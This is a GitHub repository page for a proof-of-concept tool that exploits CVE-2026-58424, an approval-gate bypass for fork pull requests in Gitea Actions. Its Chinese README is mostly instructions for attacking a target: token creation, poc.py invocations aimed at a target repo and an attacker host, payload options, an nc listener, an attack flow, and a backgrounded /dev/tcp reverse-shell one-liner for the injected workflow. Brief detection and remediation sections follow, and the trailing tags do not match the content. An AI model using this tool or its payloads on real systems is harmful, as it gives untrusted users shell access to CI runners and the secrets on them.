BridgerAlderson/CVE-2026-58424

GitHub: BridgerAlderson/CVE-2026-58424

针对 Gitea Actions fork PR 审批门禁绕过漏洞(CVE-2026-58424)的自动化 PoC 利用工具。

Stars: 0 | Forks: 0

# CVE-2026-58424 - Gitea Fork PR Workflow 审批门禁绕过 ## 漏洞描述 Gitea Actions 对由 fork pull request 触发的 workflow 运行强制执行审批门禁。该门禁在 `ifNeedApproval()` 中实现,旨在防止不受信任的贡献者通过 CI pipeline 执行任意代码。 缺陷在于 `ifNeedApproval()` 仅被正确应用于 `pull_request` 事件。在 workflow 的 `on:` 块中列出的每种事件类型都会产生一个独立的 `ActionRun` 对象,并具有各自的审批检查。当攻击者扩大 `on:` 块以包含 `pull_request_review`、`issue_comment` 或 `pull_request_review_comment` 等事件时,这些运行将在不经过审批门禁的情况下被分发。 触发任何这些不受保护的事件 - 例如,发布 PR 审查评论 - 会立即以 runner 的服务账户身份启动 workflow 运行,且无需维护者审批。 ## 根本原因 `ifNeedApproval()` 函数针对 `pull_request` 事件基于 `(repo_id, trigger_user_id)` 检查审批,但并未在所有可触发的事件类型中一致地应用此检查。 **漏洞路径:** ``` POST /repos/{owner}/{repo}/pulls/{index}/reviews -> Gitea creates ActionRun with event=pull_request_review -> ifNeedApproval() not called for this event type -> Job dispatched to runner immediately ``` ## 要求 | 要求 | 详情 | |---|---| | Gitea 账户 | 任何具有 fork 权限的已认证用户 | | 目标 repo | 必须启用 Gitea Actions | | Runner | `act_runner` 必须在线并已注册 | | 网络 | Runner 必须可以访问攻击者主机 | ## PoC 使用方法 ### 安装 ``` # 最小值 pip install requests # 对于 Kerberos/Negotiate auth pip install requests requests-gssapi ``` ### 认证模式 1 - API Token **通过浏览器:** `Settings -> Applications -> Generate Token` 所需权限范围:repository write + issue write。 **通过 API:** ``` curl -s -X POST http://gitea.example.com:3000/api/v1/users//tokens \ -u ":" \ -H "Content-Type: application/json" \ -d '{"name":"pwn","scopes":["write:repository","write:issue"]}' ``` **运行:** ``` python3 poc.py \ --url http://gitea.example.com:3000 \ --token \ --target-owner \ --target-repo \ --lhost \ --lport 4444 ``` ### 认证模式 2 - Kerberos/Negotiate 适用于仅接受 Kerberos/SPNEGO 的 Gitea 实例(强制执行 SSPI 的 Active Directory 环境)。必须在已加入域并具有有效 TGT 的主机上运行。 ``` kinit user@DOMAIN.LOCAL klist python3 poc.py \ --url http://gitea.corp.local:3000 \ --negotiate \ --target-owner \ --target-repo \ --lhost \ --lport 4444 ``` 如果 DNS 解析失败,请配置 `/etc/krb5.conf`: ``` [libdefaults] default_realm = DOMAIN.LOCAL dns_lookup_realm = false dns_lookup_kdc = true rdns = false [realms] DOMAIN.LOCAL = { kdc = admin_server = } [domain_realm] .domain.local = DOMAIN.LOCAL domain.local = DOMAIN.LOCAL ``` ### 所有选项 ``` --url Gitea base URL (required) --token API token --negotiate Kerberos/SPNEGO auth (kinit first) --cookie Session cookie string --target-owner Target repo owner (required) --target-repo Target repo name (required) --lhost Attacker IP for reverse shell (required) --lport Attacker port (required) --runner-label Runner label to target (default: tries common labels) --detect-label Auto-enumerate runner labels before exploiting --fork-name Custom fork name (default: -) --workflow-name Custom workflow filename (default: ci-.yml) --pr-title Custom PR title (default: random realistic string) --review-body Custom review comment (default: random) --payload-type bash / python3 / nc / custom (default: bash) --custom-payload Shell command (use with --payload-type custom) --no-cleanup Leave PR open after exploit --cleanup-delay Seconds before cleanup (default: 30) ``` ### 监听器 ``` nc -lvnp 4444 ``` ## 攻击流程 ``` 1. Authenticate to Gitea API 2. Fork target repo into attacker namespace 3. Enable Actions on fork 4. Inject malicious workflow with bypass events in on: block 5. Remove inherited workflows from fork (prevents runner interference) 6. Open PR: attacker/fork:main -> target/repo:main 7. POST /repos/target/repo/pulls/1/reviews {"event":"COMMENT","body":"..."} -> pull_request_review event fires -> ifNeedApproval() NOT called -> ActionRun dispatched immediately 8. Runner executes payload -> reverse shell as runner service account ``` ## Runner 生命周期说明 默认情况下,`act_runner` 是单 worker 的。如果 reverse shell 步骤未干净退出,runner 将保持“running”状态并忽略新的 job。 为避免这种情况,请将 shell 放入后台运行: ``` - name: run run: | setsid bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1' & sleep 1 exit 0 ``` 或者使用 `--custom-payload` 直接传递一个守护进程化的单行命令。 ## 检测 - 来自 fork PR 且带有 `event=pull_request_review` 或 `event=issue_comment` 的 `ActionRun` 条目 - Fork repo 中包含带有 shell 执行步骤的 `pull_request_review` 触发器的 workflow 文件 - 在 PR 审查活动之后,runner 主机发出的意外出站连接 ## 修复方案 | 操作 | 详情 | |---|---| | 升级 | Gitea 1.26.3+ 修复了此问题 | | 变通方法 | 对包含不受信任贡献者的 repo 禁用 Gitea Actions | | 审计 | 审查 fork PR 及相关的 workflow 运行是否存在意外执行 | | 限制 | 将 fork 权限限制为受信任的用户 | ## 参考 - [GHSA-777r-4v59-6486](https://github.com/go-gitea/gitea/security/advisories/GHSA-777r-4v59-6486) - [NVD - CVE-2026-58424](https://nvd.nist.gov/vuln/detail/CVE-2026-58424) ## 免责声明 仅供授权的安全测试和研究使用。未经明确书面许可,请勿对系统使用。
标签:Gitea, Modbus, PoC, Python, Web报告查看器, 无后门, 暴力破解, 逆向工具